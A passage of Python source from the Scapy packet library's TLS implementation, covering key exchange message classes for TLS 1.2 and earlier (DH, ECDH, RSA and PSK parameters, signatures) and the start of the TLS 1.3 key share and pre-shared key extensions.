pkt.tls_session if s.tls_version and s.tls_version < 0x0300: if len(s.client_certs) > 0: sig_len = s.client_certs[0].pubkey.pubkey.key_size // 8 else: warning("No client certificate provided. " "We're making a wild guess about the signature size.") sig_len = 256 return m[sig_len:], self.m2i(pkt, m[:sig_len]) return super(SigValField, self).getfield(pkt, m) class _TLSSignature(_GenericTLSSessionInheritance): """ Prior to TLS 1.2, digitally-signed structure implicitly used the concatenation of a MD5 hash and a SHA-1 hash. Then TLS 1.2 introduced explicit SignatureAndHashAlgorithms, i.e. couples of (hash_alg, sig_alg). See RFC 5246, section 7.4.1.4.1. By default, the _TLSSignature implements the TLS 1.2 scheme, but if it is provided a TLS context with a tls_version < 0x0303 at initialization, it will fall back to the implicit signature. Even more, the 'sig_len' field won't be used with SSLv2. """ name = "TLS Digital Signature" fields_desc = [SigAndHashAlgField("sig_alg", None, _tls_hash_sig), SigLenField("sig_len", None, fmt="!H", length_of="sig_val"), SigValField("sig_val", None, length_from=lambda pkt: pkt.sig_len)] def __init__(self, *args, **kargs): super(_TLSSignature, self).__init__(*args, **kargs) if self.sig_alg is None and "sig_alg" not in kargs: # Default sig_alg self.sig_alg = 0x0804 if self.tls_session and self.tls_session.tls_version: s = self.tls_session if s.selected_sig_alg: self.sig_alg = s.selected_sig_alg elif s.tls_version < 0x0303: self.sig_alg = None elif s.tls_version == 0x0304: # For TLS 1.3 signatures, set the signature # algorithm to RSA-PSS self.sig_alg = 0x0804 def post_dissection(self, r): # for client self.tls_session.selected_sig_alg = self.sig_alg def _update_sig(self, m, key): """ Sign 'm' with the PrivKey 'key' and update our own 'sig_val'. Note that, even when 'sig_alg' is not None, we use the signature scheme of the PrivKey (neither do we care to compare the both of them). """ if self.sig_alg is None: if self.tls_session.tls_version >= 0x0300: self.sig_val = key.sign(m, t='pkcs', h='md5-sha1') else: self.sig_val = key.sign(m, t='pkcs', h='md5') else: if self.sig_alg in [0x0807, 0x0808]: # ed25519, ed448 h, t = _tls_hash_sig[self.sig_alg], None else: h, sig = _tls_hash_sig[self.sig_alg].split('+') if sig.endswith('pss'): t = "pss" else: t = "pkcs" self.sig_val = key.sign(m, t=t, h=h) def _verify_sig(self, m, cert): """ Verify that our own 'sig_val' carries the signature of 'm' by the key associated to the Cert 'cert'. """ if self.sig_val: if self.sig_alg: if self.sig_alg in [0x0807, 0x0808]: # ed25519, ed448 h, t = _tls_hash_sig[self.sig_alg], None else: h, sig = _tls_hash_sig[self.sig_alg].split('+') if sig.endswith('pss'): t = "pss" else: t = "pkcs" return cert.verify(m, self.sig_val, t=t, h=h) else: if self.tls_session.tls_version >= 0x0300: return cert.verify(m, self.sig_val, t='pkcs', h='md5-sha1') else: return cert.verify(m, self.sig_val, t='pkcs', h='md5') return False def guess_payload_class(self, p): return Padding class _TLSSignatureField(PacketField): """ Used for 'digitally-signed struct' in several ServerKeyExchange, and also in CertificateVerify. We can handle the anonymous case. """ __slots__ = ["length_from"] def __init__(self, name, default, length_from=None): self.length_from = length_from PacketField.__init__(self, name, default, _TLSSignature) def m2i(self, pkt, m): tmp_len = self.length_from(pkt) if tmp_len == 0: return None return _TLSSignature(m, tls_session=pkt.tls_session) def getfield(self, pkt, s): i = self.m2i(pkt, s) if i is None: return s, None remain = b"" if conf.padding_layer in i: r = i[conf.padding_layer] del r.underlayer.payload remain = r.load return remain, i class _TLSServerParamsField(PacketField): """ This is a dispatcher for the Server*DHParams below, used in TLSServerKeyExchange and based on the key_exchange.server_kx_msg_cls. When this cls is None, it means that we should not see a ServerKeyExchange, so we grab everything within length_from and make it available using Raw. When the context has not been set (e.g. when no ServerHello was parsed or dissected beforehand), we (kinda) clumsily set the cls by trial and error. XXX We could use Serv*DHParams.check_params() once it has been implemented. """ __slots__ = ["length_from"] def __init__(self, name, default, length_from=None): self.length_from = length_from PacketField.__init__(self, name, default, None) def m2i(self, pkt, m): s = pkt.tls_session tmp_len = self.length_from(pkt) if s.prcs: cls = s.prcs.key_exchange.server_kx_msg_cls(m) if cls is None: return Raw(m[:tmp_len]) / Padding(m[tmp_len:]) return cls(m, tls_session=s) else: try: p = ServerDHParams(m, tls_session=s) if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig: raise Exception return p except Exception: cls = _tls_server_ecdh_cls_guess(m) p = cls(m, tls_session=s) if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig: return Raw(m[:tmp_len]) / Padding(m[tmp_len:]) return p ############################################################################### # Server Key Exchange parameters & value # ############################################################################### # Finite Field Diffie-Hellman class ServerDHParams(_GenericTLSSessionInheritance): """ ServerDHParams for FFDH-based key exchanges, as defined in RFC 5246/7.4.3. Either with .fill_missing() or .post_dissection(), the server_kx_privkey or server_kx_pubkey of the TLS context are updated according to the parsed/assembled values. It is the user's responsibility to store and restore the original values if he wants to keep them. For instance, this could be done between the writing of a ServerKeyExchange and the receiving of a ClientKeyExchange (which includes secret generation). """ name = "Server FFDH parameters" fields_desc = [FieldLenField("dh_plen", None, length_of="dh_p"), StrLenField("dh_p", "", length_from=lambda pkt: pkt.dh_plen), FieldLenField("dh_glen", None, length_of="dh_g"), StrLenField("dh_g", "", length_from=lambda pkt: pkt.dh_glen), FieldLenField("dh_Yslen", None, length_of="dh_Ys"), StrLenField("dh_Ys", "", length_from=lambda pkt: pkt.dh_Yslen)] @crypto_validator def fill_missing(self): """ We do not want TLSServerKeyExchange.build() to overload and recompute things every time it is called. This method can be called specifically to have things filled in a smart fashion. Note that we do not expect default_params.g to be more than 0xff. """ s = self.tls_session default_params = _ffdh_groups['modp2048'][0].parameter_numbers() default_mLen = _ffdh_groups['modp2048'][1] if not self.dh_p: self.dh_p = pkcs_i2osp(default_params.p, default_mLen // 8) if self.dh_plen is None: self.dh_plen = len(self.dh_p) s.kx_group = "ffdhe%s" % (self.dh_plen * 8) if not self.dh_g: self.dh_g = pkcs_i2osp(default_params.g, 1) if self.dh_glen is None: self.dh_glen = 1 p = pkcs_os2ip(self.dh_p) g = pkcs_os2ip(self.dh_g) real_params = dh.DHParameterNumbers(p, g).parameters(default_backend()) if not self.dh_Ys: s.server_kx_privkey = real_params.generate_private_key() pubkey = s.server_kx_privkey.public_key() y = pubkey.public_numbers().y self.dh_Ys = pkcs_i2osp(y, pubkey.key_size // 8) # else, we assume that the user wrote the server_kx_privkey by himself if self.dh_Yslen is None: self.dh_Yslen = len(self.dh_Ys) if not s.client_kx_ffdh_params: s.client_kx_ffdh_params = real_params @crypto_validator def register_pubkey(self): """ XXX Check that the pubkey received is in the group. """ p = pkcs_os2ip(self.dh_p) g = pkcs_os2ip(self.dh_g) pn = dh.DHParameterNumbers(p, g) y = pkcs_os2ip(self.dh_Ys) public_numbers = dh.DHPublicNumbers(y, pn) s = self.tls_session s.server_kx_pubkey = public_numbers.public_key(default_backend()) s.kx_group = "ffdhe%s" % (self.dh_plen * 8) if not s.client_kx_ffdh_params: s.client_kx_ffdh_params = pn.parameters(default_backend()) def post_dissection(self, r): try: self.register_pubkey() except ImportError: pass def guess_payload_class(self, p): """ The signature after the params gets saved as Padding. This way, the .getfield() which _TLSServerParamsField inherits from PacketField will return the signature remain as expected. """ return Padding # Elliptic Curve Diffie-Hellman _tls_ec_curve_types = {1: "explicit_prime", 2: "explicit_char2", 3: "named_curve"} _tls_ec_basis_types = {0: "ec_basis_trinomial", 1: "ec_basis_pentanomial"} class ECCurvePkt(Packet): name = "Elliptic Curve" fields_desc = [FieldLenField("alen", None, length_of="a", fmt="B"), StrLenField("a", "", length_from=lambda pkt: pkt.alen), FieldLenField("blen", None, length_of="b", fmt="B"), StrLenField("b", "", length_from=lambda pkt: pkt.blen)] # Char2 Curves class ECTrinomialBasis(Packet): name = "EC Trinomial Basis" val = 0 fields_desc = [FieldLenField("klen", None, length_of="k", fmt="B"), StrLenField("k", "", length_from=lambda pkt: pkt.klen)] def guess_payload_class(self, p): return Padding class ECPentanomialBasis(Packet): name = "EC Pentanomial Basis" val = 1 fields_desc = [FieldLenField("k1len", None, length_of="k1", fmt="B"), StrLenField("k1", "", length_from=lambda pkt: pkt.k1len), FieldLenField("k2len", None, length_of="k2", fmt="B"), StrLenField("k2", "", length_from=lambda pkt: pkt.k2len), FieldLenField("k3len", None, length_of="k3", fmt="B"), StrLenField("k3", "", length_from=lambda pkt: pkt.k3len)] def guess_payload_class(self, p): return Padding _tls_ec_basis_cls = {0: ECTrinomialBasis, 1: ECPentanomialBasis} class _ECBasisTypeField(ByteEnumField): __slots__ = ["basis_type_of"] def __init__(self, name, default, enum, basis_type_of, remain=0): self.basis_type_of = basis_type_of EnumField.__init__(self, name, default, enum, "B") def i2m(self, pkt, x): if x is None: fld, fval = pkt.getfield_and_val(self.basis_type_of) x = fld.i2basis_type(pkt, fval) return x class _ECBasisField(PacketField): __slots__ = ["clsdict", "basis_type_from"] def __init__(self, name, default, basis_type_from, clsdict): self.clsdict = clsdict self.basis_type_from = basis_type_from PacketField.__init__(self, name, default, None) def m2i(self, pkt, m): basis = self.basis_type_from(pkt) cls = self.clsdict[basis] return cls(m) def i2basis_type(self, pkt, x): val = 0 try: val = x.val except Exception: pass return val # Distinct ECParameters ## # To support the different ECParameters structures defined in Sect. 5.4 of # RFC 4492, we define 3 separates classes for implementing the 3 associated # ServerECDHParams: ServerECDHNamedCurveParams, ServerECDHExplicitPrimeParams # and ServerECDHExplicitChar2Params (support for this one is only partial). # The most frequent encounter of the 3 is (by far) ServerECDHNamedCurveParams. class ServerECDHExplicitPrimeParams(_GenericTLSSessionInheritance): """ We provide parsing abilities for ExplicitPrimeParams, but there is no support from the cryptography library, hence no context operations. """ name = "Server ECDH parameters - Explicit Prime" fields_desc = [ByteEnumField("curve_type", 1, _tls_ec_curve_types), FieldLenField("plen", None, length_of="p", fmt="B"), StrLenField("p", "", length_from=lambda pkt: pkt.plen), PacketField("curve", None, ECCurvePkt), FieldLenField("baselen", None, length_of="base", fmt="B"), StrLenField("base", "", length_from=lambda pkt: pkt.baselen), FieldLenField("orderlen", None, length_of="order", fmt="B"), StrLenField("order", "", length_from=lambda pkt: pkt.orderlen), FieldLenField("cofactorlen", None, length_of="cofactor", fmt="B"), StrLenField("cofactor", "", length_from=lambda pkt: pkt.cofactorlen), FieldLenField("pointlen", None, length_of="point", fmt="B"), StrLenField("point", "", length_from=lambda pkt: pkt.pointlen)] def fill_missing(self): """ Note that if it is not set by the user, the cofactor will always be 1. It is true for most, but not all, TLS elliptic curves. """ if self.curve_type is None: self.curve_type = _tls_ec_curve_types["explicit_prime"] def guess_payload_class(self, p): return Padding class ServerECDHExplicitChar2Params(_GenericTLSSessionInheritance): """ We provide parsing abilities for Char2Params, but there is no support from the cryptography library, hence no context operations. """ name = "Server ECDH parameters - Explicit Char2" fields_desc = [ByteEnumField("curve_type", 2, _tls_ec_curve_types), ShortField("m", None), _ECBasisTypeField("basis_type", None, _tls_ec_basis_types, "basis"), _ECBasisField("basis", ECTrinomialBasis(), lambda pkt: pkt.basis_type, _tls_ec_basis_cls), PacketField("curve", ECCurvePkt(), ECCurvePkt), FieldLenField("baselen", None, length_of="base", fmt="B"), StrLenField("base", "", length_from=lambda pkt: pkt.baselen), ByteField("order", None), ByteField("cofactor", None), FieldLenField("pointlen", None, length_of="point", fmt="B"), StrLenField("point", "", length_from=lambda pkt: pkt.pointlen)] def fill_missing(self): if self.curve_type is None: self.curve_type = _tls_ec_curve_types["explicit_char2"] def guess_payload_class(self, p): return Padding class ServerECDHNamedCurveParams(_GenericTLSSessionInheritance): name = "Server ECDH parameters - Named Curve" fields_desc = [ByteEnumField("curve_type", 3, _tls_ec_curve_types), ShortEnumField("named_curve", None, _tls_named_curves), FieldLenField("pointlen", None, length_of="point", fmt="B"), StrLenField("point", None, length_from=lambda pkt: pkt.pointlen)] @crypto_validator def fill_missing(self): """ We do not want TLSServerKeyExchange.build() to overload and recompute things every time it is called. This method can be called specifically to have things filled in a smart fashion. XXX We should account for the point_format (before 'point' filling). """ s = self.tls_session if self.curve_type is None: self.curve_type = _tls_ec_curve_types["named_curve"] if self.named_curve is None: self.named_curve = 23 curve_group = self.named_curve if curve_group not in _tls_named_curves: # this fallback is arguable curve_group = 23 # default to secp256r1 s.server_kx_privkey = _tls_named_groups_generate(curve_group) s.kx_group = _tls_named_curves.get(curve_group, str(curve_group)) if self.point is None: self.point = _tls_named_groups_pubbytes( s.server_kx_privkey ) # else, we assume that the user wrote the server_kx_privkey by himself if self.pointlen is None: self.pointlen = len(self.point) if not s.client_kx_ecdh_params: s.client_kx_ecdh_params = curve_group @crypto_validator def register_pubkey(self): """ XXX Support compressed point format. XXX Check that the pubkey received is on the curve. """ # point_format = 0 # if self.point[0] in [b'\x02', b'\x03']: # point_format = 1 s = self.tls_session s.server_kx_pubkey = _tls_named_groups_import( self.named_curve, self.point ) s.kx_group = _tls_named_curves.get(self.named_curve, str(self.named_curve)) if not s.client_kx_ecdh_params: s.client_kx_ecdh_params = self.named_curve def post_dissection(self, r): try: self.register_pubkey() except ImportError: pass def guess_payload_class(self, p): return Padding _tls_server_ecdh_cls = {1: ServerECDHExplicitPrimeParams, 2: ServerECDHExplicitChar2Params, 3: ServerECDHNamedCurveParams} def _tls_server_ecdh_cls_guess(m): if not m: return None curve_type = orb(m[0]) return _tls_server_ecdh_cls.get(curve_type, None) # RSA Encryption (export) class ServerRSAParams(_GenericTLSSessionInheritance): """ Defined for RSA_EXPORT kx : it enables servers to share RSA keys shorter than their principal {>512}-bit key, when it is not allowed for kx. This should not appear in standard RSA kx negotiation, as the key has already been advertised in the Certificate message. """ name = "Server RSA_EXPORT parameters" fields_desc = [FieldLenField("rsamodlen", None, length_of="rsamod"), StrLenField("rsamod", "", length_from=lambda pkt: pkt.rsamodlen), FieldLenField("rsaexplen", None, length_of="rsaexp"), StrLenField("rsaexp", "", length_from=lambda pkt: pkt.rsaexplen)] @crypto_validator def fill_missing(self): k = PrivKeyRSA() k.fill_and_store(modulusLen=512) self.tls_session.server_tmp_rsa_key = k pubNum = k.pubkey.public_numbers() if not self.rsamod: self.rsamod = pkcs_i2osp(pubNum.n, k.pubkey.key_size // 8) if self.rsamodlen is None: self.rsamodlen = len(self.rsamod) self.tls_session.kx_group = "rsa%s" % self.rsamodlen rsaexplen = math.ceil(math.log(pubNum.e) / math.log(2) / 8.) if not self.rsaexp: self.rsaexp = pkcs_i2osp(pubNum.e, rsaexplen) if self.rsaexplen is None: self.rsaexplen = len(self.rsaexp) @crypto_validator def register_pubkey(self): mLen = self.rsamodlen m = self.rsamod e = self.rsaexp self.tls_session.server_tmp_rsa_key = PubKeyRSA((e, m, mLen)) self.tls_session.kx_group = "rsa%s" % mLen def post_dissection(self, pkt): try: self.register_pubkey() except ImportError: pass def guess_payload_class(self, p): return Padding # Pre-Shared Key class ServerPSKParams(Packet): """ XXX We provide some parsing abilities for ServerPSKParams, but the context operations have not been implemented yet. See RFC 4279. Note that we do not cover the (EC)DHE_PSK key exchange, which should contain a Server*DHParams after 'psk_identity_hint'. """ name = "Server PSK parameters" fields_desc = [FieldLenField("psk_identity_hint_len", None, length_of="psk_identity_hint", fmt="!H"), StrLenField("psk_identity_hint", "", length_from=lambda pkt: pkt.psk_identity_hint_len)] # noqa: E501 def fill_missing(self): pass def post_dissection(self, pkt): pass def guess_payload_class(self, p): return Padding ############################################################################### # Client Key Exchange value # ############################################################################### # FFDH/ECDH class ClientDiffieHellmanPublic(_GenericTLSSessionInheritance): """ If the user provides a value for dh_Yc attribute, we assume he will set the pms and ms accordingly and trigger the key derivation on his own. XXX As specified in 7.4.7.2. of RFC 4346, we should distinguish the needs for implicit or explicit value depending on availability of DH parameters in *client* certificate. For now we can only do ephemeral/explicit DH. """ name = "Client DH Public Value" fields_desc = [FieldLenField("dh_Yclen", None, length_of="dh_Yc"), StrLenField("dh_Yc", "", length_from=lambda pkt: pkt.dh_Yclen)] @crypto_validator def fill_missing(self): s = self.tls_session s.client_kx_privkey = s.client_kx_ffdh_params.generate_private_key() pubkey = s.client_kx_privkey.public_key() y = pubkey.public_numbers().y self.dh_Yc = pkcs_i2osp(y, pubkey.key_size // 8) if s.client_kx_privkey and s.server_kx_pubkey: pms = s.client_kx_privkey.exchange(s.server_kx_pubkey) s.pre_master_secret = pms.lstrip(b"\x00") if not s.extms: # If extms is set (extended master secret), the key will # need the session hash to be computed. This is provided # by the TLSClientKeyExchange. Same in all occurrences s.compute_ms_and_derive_keys() def post_build(self, pkt, pay): if not self.dh_Yc: try: self.fill_missing() except ImportError: pass if self.dh_Yclen is None: self.dh_Yclen = len(self.dh_Yc) return pkcs_i2osp(self.dh_Yclen, 2) + self.dh_Yc + pay def post_dissection(self, m): """ First we update the client DHParams. Then, we try to update the server DHParams generated during Server*DHParams building, with the shared secret. Finally, we derive the session keys and update the context. """ s = self.tls_session # if there are kx params and keys, we assume the crypto library is ok if s.client_kx_ffdh_params: y = pkcs_os2ip(self.dh_Yc) param_numbers = s.client_kx_ffdh_params.parameter_numbers() public_numbers = dh.DHPublicNumbers(y, param_numbers) s.client_kx_pubkey = public_numbers.public_key(default_backend()) if s.server_kx_privkey and s.client_kx_pubkey: ZZ = s.server_kx_privkey.exchange(s.client_kx_pubkey) s.pre_master_secret = ZZ.lstrip(b"\x00") if not s.extms: s.compute_ms_and_derive_keys() def guess_payload_class(self, p): return Padding class ClientECDiffieHellmanPublic(_GenericTLSSessionInheritance): """ Note that the 'len' field is 1 byte longer than with the previous class. """ name = "Client ECDH Public Value" fields_desc = [FieldLenField("ecdh_Yclen", None, length_of="ecdh_Yc", fmt="B"), StrLenField("ecdh_Yc", "", length_from=lambda pkt: pkt.ecdh_Yclen)] @crypto_validator def fill_missing(self): s = self.tls_session s.client_kx_privkey = _tls_named_groups_generate( s.client_kx_ecdh_params ) # ecdh_Yc follows ECPoint.point format as defined in # https://tools.ietf.org/html/rfc8422#section-5.4 pubkey = s.client_kx_privkey.public_key() if isinstance(pubkey, (x25519.X25519PublicKey, x448.X448PublicKey)): self.ecdh_Yc = pubkey.public_bytes( serialization.Encoding.Raw, serialization.PublicFormat.Raw ) if s.client_kx_privkey and s.server_kx_pubkey: pms = s.client_kx_privkey.exchange(s.server_kx_pubkey) else: # uncompressed format of an elliptic curve point x = pubkey.public_numbers().x y = pubkey.public_numbers().y self.ecdh_Yc = (b"\x04" + pkcs_i2osp(x, (pubkey.key_size + 7) // 8) + pkcs_i2osp(y, (pubkey.key_size + 7) // 8)) if s.client_kx_privkey and s.server_kx_pubkey: pms = s.client_kx_privkey.exchange(ec.ECDH(), s.server_kx_pubkey) if s.client_kx_privkey and s.server_kx_pubkey: s.pre_master_secret = pms if not s.extms: s.compute_ms_and_derive_keys() def post_build(self, pkt, pay): if not self.ecdh_Yc: try: self.fill_missing() except ImportError: pass if self.ecdh_Yclen is None: self.ecdh_Yclen = len(self.ecdh_Yc) return pkcs_i2osp(self.ecdh_Yclen, 1) + self.ecdh_Yc + pay def post_dissection(self, m): s = self.tls_session # if there are kx params and keys, we assume the crypto library is ok if s.client_kx_ecdh_params: s.client_kx_pubkey = _tls_named_groups_import( s.client_kx_ecdh_params, self.ecdh_Yc ) if s.server_kx_privkey and s.client_kx_pubkey: ZZ = s.server_kx_privkey.exchange(ec.ECDH(), s.client_kx_pubkey) s.pre_master_secret = ZZ if not s.extms: s.compute_ms_and_derive_keys() # RSA Encryption (standard & export) class _UnEncryptedPreMasterSecret(Raw): """ When the content of an EncryptedPreMasterSecret could not be deciphered, we use this class to represent the encrypted data. """ name = "RSA Encrypted PreMaster Secret (protected)" def __init__(self, *args, **kargs): kargs.pop('tls_session', None) return super(_UnEncryptedPreMasterSecret, self).__init__(*args, **kargs) # noqa: E501 class EncryptedPreMasterSecret(_GenericTLSSessionInheritance): """ Pay attention to implementation notes in section 7.4.7.1 of RFC 5246. """ name = "RSA Encrypted PreMaster Secret" fields_desc = [_TLSClientVersionField("client_version", None, _tls_version), StrFixedLenField("random", None, 46)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and 'tls_session' in kargs: s = kargs['tls_session'] if s.server_tmp_rsa_key is None and s.server_rsa_key is None: return _UnEncryptedPreMasterSecret return EncryptedPreMasterSecret def pre_dissect(self, m): s = self.tls_session tbd = m tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0301: if len(m) < 2: # Should not happen return m tmp_len = struct.unpack("!H", m[:2])[0] if len(m) != tmp_len + 2: err = "TLS 1.0+, but RSA Encrypted PMS with no explicit length" warning(err) else: tbd = m[2:] if s.server_tmp_rsa_key is not None: # priority is given to the tmp_key, if there is one decrypted = s.server_tmp_rsa_key.decrypt(tbd) pms = decrypted[-48:] elif s.server_rsa_key is not None: decrypted = s.server_rsa_key.decrypt(tbd) pms = decrypted[-48:] else: # the dispatch_hook is supposed to prevent this case pms = b"\x00" * 48 err = "No server RSA key to decrypt Pre Master Secret. Skipping." warning(err) s.pre_master_secret = pms if not s.extms: s.compute_ms_and_derive_keys() return pms def post_build(self, pkt, pay): """ We encrypt the premaster secret (the 48 bytes) with either the server certificate or the temporary RSA key provided in a server key exchange message. After that step, we add the 2 bytes to provide the length, as described in implementation notes at the end of section 7.4.7.1. """ enc = pkt s = self.tls_session s.pre_master_secret = enc if not s.extms: s.compute_ms_and_derive_keys() if s.server_tmp_rsa_key is not None: enc = s.server_tmp_rsa_key.encrypt(pkt, t="pkcs") elif s.server_certs is not None and len(s.server_certs) > 0: enc = s.server_certs[0].encrypt(pkt, t="pkcs") else: warning("No material to encrypt Pre Master Secret") tmp_len = b"" tls_version = s.tls_version if tls_version is None: tls_version = s.advertised_tls_version if tls_version >= 0x0301: tmp_len = struct.pack("!H", len(enc)) return tmp_len + enc + pay def guess_payload_class(self, p): return Padding # Pre-Shared Key class ClientPSKIdentity(Packet): """ XXX We provide parsing abilities for ServerPSKParams, but the context operations have not been implemented yet. See RFC 4279. Note that we do not cover the (EC)DHE_PSK nor the RSA_PSK key exchange, which should contain either an EncryptedPMS or a ClientDiffieHellmanPublic. """ name = "Server PSK parameters" fields_desc = [FieldLenField("psk_identity_len", None, length_of="psk_identity", fmt="!H"), StrLenField("psk_identity", "", length_from=lambda pkt: pkt.psk_identity_len)] ================================================ FILE: scapy/layers/tls/keyexchange_tls13.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2017 Maxence Tury # 2019 Romain Perez """ TLS 1.3 key exchange logic. """ import struct from scapy.config import conf, crypto_validator from scapy.error import log_runtime from scapy.fields import ( FieldLenField, IntField, PacketField, PacketLenField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, StrLenField, XStrLenField, ) from scapy.packet import Packet from scapy.layers.tls.extensions import TLS_Ext_Unknown, _tls_ext from scapy.layers.tls.cert import PrivKeyECDSA, PrivKeyRSA, PrivKeyEdDSA from scapy.layers.tls.crypto.groups import ( _tls_named_curves, _tls_named_ffdh_groups, _tls_named_groups, _tls_named_groups_generate, _tls_named_groups_import, _tls_named_groups_pubbytes, ) if conf.crypto_valid: from cryptography.hazmat.primitives.asymmetric import ec if conf.crypto_valid_advanced: from cryptography.hazmat.primitives.asymmetric import ed25519 from cryptography.hazmat.primitives.asymmetric import ed448 class KeyShareEntry(Packet): """ When building from scratch, we create a DH private key, and when dissecting, we create a DH public key. Default group is secp256r1. """ __slots__ = ["privkey", "pubkey"] name = "Key Share Entry" fields_desc = [ShortEnumField("group", None, _tls_named_groups), FieldLenField("kxlen", None, length_of="key_exchange"), XStrLenField("key_exchange", "", length_from=lambda pkt: pkt.kxlen)] def __init__(self, *args, **kargs): self.privkey = None self.pubkey = None super(KeyShareEntry, self).__init__(*args, **kargs) def do_build(self): """ We need this hack, else 'self' would be replaced by __iter__.next(). """ tmp = self.explicit self.explicit = True b = super(KeyShareEntry, self).do_build() self.explicit = tmp return b @crypto_validator def create_privkey(self): """ This is called by post_build() for key creation. """ self.privkey = _tls_named_groups_generate(self.group) self.key_exchange = _tls_named_groups_pubbytes(self.privkey) def post_build(self, pkt, pay): if self.group is None: self.group = 23 # secp256r1 if not self.key_exchange: try: self.create_privkey() except ImportError: pass if self.kxlen is None: self.kxlen = len(self.key_exchange) group = struct.pack("!H", self.group) kxlen = struct.pack("!H", self.kxlen) return group + kxlen + self.key_exchange + pay @crypto_validator def register_pubkey(self): self.pubkey = _tls_named_groups_import( self.group, self.key_exchange ) def post_dissection(self, r): try: self.register_pubkey() except ImportError: pass def extract_padding(self, s): return "", s class TLS_Ext_KeyShare_CH(TLS_Ext_Unknown): name = "TLS Extension - Key Share (for ClientHello)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), ShortField("len", None), FieldLenField("client_shares_len", None, length_of="client_shares"), PacketListField("client_shares", [], KeyShareEntry, length_from=lambda pkt: pkt.client_shares_len)] # noqa: E501 def post_build(self, pkt, pay): if not self.tls_session.frozen: privshares = self.tls_session.tls13_client_privshares for kse in self.client_shares: if kse.privkey: if _tls_named_groups[kse.group] in privshares: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info) # noqa: E501 break privshares[_tls_named_groups[kse.group]] = kse.privkey return super(TLS_Ext_KeyShare_CH, self).post_build(pkt, pay) def post_dissection(self, r): if not self.tls_session.frozen: for kse in self.client_shares: if kse.pubkey: pubshares = self.tls_session.tls13_client_pubshares if _tls_named_groups[kse.group] in pubshares: pkt_info = r.firstlayer().summary() log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info) # noqa: E501 break pubshares[_tls_named_groups[kse.group]] = kse.pubkey return super(TLS_Ext_KeyShare_CH, self).post_dissection(r) class TLS_Ext_KeyShare_HRR(TLS_Ext_Unknown): name = "TLS Extension - Key Share (for HelloRetryRequest)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), ShortField("len", None), ShortEnumField("selected_group", None, _tls_named_groups)] class TLS_Ext_KeyShare_SH(TLS_Ext_Unknown): name = "TLS Extension - Key Share (for ServerHello)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), ShortField("len", None), PacketField("server_share", None, KeyShareEntry)] def post_build(self, pkt, pay): if not self.tls_session.frozen and self.server_share.privkey: # if there is a privkey, we assume the crypto library is ok privshare = self.tls_session.tls13_server_privshare if len(privshare) > 0: pkt_info = pkt.firstlayer().summary() log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info) # noqa: E501 group_name = _tls_named_groups[self.server_share.group] privshare[group_name] = self.server_share.privkey if group_name in self.tls_session.tls13_client_pubshares: privkey = self.server_share.privkey pubkey = self.tls_session.tls13_client_pubshares[group_name] if group_name in _tls_named_ffdh_groups.values(): pms = privkey.exchange(pubkey) elif group_name in _tls_named_curves.values(): if group_name in ["x25519", "x448"]: pms = privkey.exchange(pubkey) else: pms = privkey.exchange(ec.ECDH(), pubkey) self.tls_session.tls13_dhe_secret = pms self.tls_session.kx_group = group_name return super(TLS_Ext_KeyShare_SH, self).post_build(pkt, pay) def post_dissection(self, r): if not self.tls_session.frozen and self.server_share.pubkey: # if there is a pubkey, we assume the crypto library is ok pubshare = self.tls_session.tls13_server_pubshare if pubshare: pkt_info = r.firstlayer().summary() log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info) # noqa: E501 group_name = _tls_named_groups[self.server_share.group] pubshare[group_name] = self.server_share.pubkey if group_name in self.tls_session.tls13_client_privshares: pubkey = self.server_share.pubkey privkey = self.tls_session.tls13_client_privshares[group_name] if group_name in _tls_named_ffdh_groups.values(): pms = privkey.exchange(pubkey) elif group_name in _tls_named_curves.values(): if group_name in ["x25519", "x448"]: pms = privkey.exchange(pubkey) else: pms = privkey.exchange(ec.ECDH(), pubkey) self.tls_session.tls13_dhe_secret = pms self.tls_session.kx_group = group_name elif group_name in self.tls_session.tls13_server_privshare: pubkey = self.tls_session.tls13_client_pubshares[group_name] privkey = self.tls_session.tls13_server_privshare[group_name] if group_name in _tls_named_ffdh_groups.values(): pms = privkey.exchange(pubkey) elif group_name in _tls_named_curves.values(): if group_name in ["x25519", "x448"]: pms = privkey.exchange(pubkey) else: pms = privkey.exchange(ec.ECDH(), pubkey) self.tls_session.tls13_dhe_secret = pms self.tls_session.kx_group = group_name return super(TLS_Ext_KeyShare_SH, self).post_dissection(r) _tls_ext_keyshare_cls = {1: TLS_Ext_KeyShare_CH, 2: TLS_Ext_KeyShare_SH} _tls_ext_keyshare_hrr_cls = {2: TLS_Ext_KeyShare_HRR} class Ticket(Packet): name = "Recommended Ticket Construction (from RFC 5077)" fields_desc = [StrFixedLenField("key_name", None, 16), StrFixedLenField("iv", None, 16), FieldLenField("encstatelen", None, length_of="encstate"), StrLenField("encstate", "", length_from=lambda pkt: pkt.encstatelen), StrFixedLenField("mac", None, 32)] class TicketField(PacketLenField): def m2i(self, pkt, m): if len(m) < 64: # Minimum ticket size is 64 bytes return conf.raw_layer(m) return self.cls(m) class PSKIdentity(Packet): name = "PSK Identity" fields_desc = [FieldLenField("identity_len", None, length_of="identity"), TicketField("identity", "", Ticket, length_from=lambda pkt: pkt.identity_len), IntField("obfuscated_ticket_age", 0)] def default_payload_class(self, payload): return conf.padding_layer class PSKBinderEntry(Packet): name = "PSK Binder Entry" fields_desc = [FieldLenField("binder_len", None, fmt="B", length_of="binder"), StrLenField("binder", "", length_from=lambda pkt: pkt.binder_len)] def default_payload_class(self, payload): return conf.padding_layer class TLS_Ext_PreSharedKey_CH(TLS_Ext_Unknown): # XXX define post_build and post_dissection methods name = "TLS Extension - Pre Shared Key (for ClientHello)" fields_desc = [ShortEnumField("type", 0x29, _tls_ext), ShortField("len", None), FieldLenField("identities_len", None, length_of="identities"), PacketListField("identities", [], PSKIdentity, length_from=lambda 